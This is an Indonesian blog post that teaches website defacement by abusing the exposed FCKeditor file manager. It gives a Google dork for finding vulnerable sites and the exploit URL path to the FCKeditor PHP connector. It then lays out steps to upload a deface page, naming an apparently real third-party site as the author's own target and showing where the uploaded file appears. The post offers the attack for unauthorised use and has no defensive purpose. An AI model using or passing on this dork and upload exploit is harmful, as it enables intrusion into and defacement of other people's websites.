Deface metode FckEditor

hai, oke dipostingan ini ItsNfl akan membahas metode deface paling sederhana yaitu FCKeditor.
Apa saja bahan yang dibutuhkan?

- Jaringan + kuota yang memadai
- Laptop/Hp , jangan kalkulator gan:v kalian bukan hmei7
- Script Deface, w anggap kalian dh punya ya
- Dork : inurl:advert_detail.php?id=
- Exploit :   http:///www.site.co.li /admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

oke ini langkah-langkahnya

1. Dorking di google menggunakan dork diatas

2.Pilih salah satu target.

3. Masukan exploit diatas admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
, sehingga target w menjadi http://www.rubiconadvice.ro/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php . Apabila vuln maka akan tampil seperti ini.

4. Pilih file deface kalian dengan cara mengklik tombol pilih file dibagian paling bawah, setelah itu klik upload.  Apabila sukses maka akan tampil seperti ini.

5. Akses file deface kalian di http://www.site.co.li/files/nama file deface yang tadi keluar. Sehingga akses w kaya gini. http://www.rubiconadvice.ro/files/test(16).html

oke sekian dri w ItsNfl, Follow blog w and share it  :)

Share this post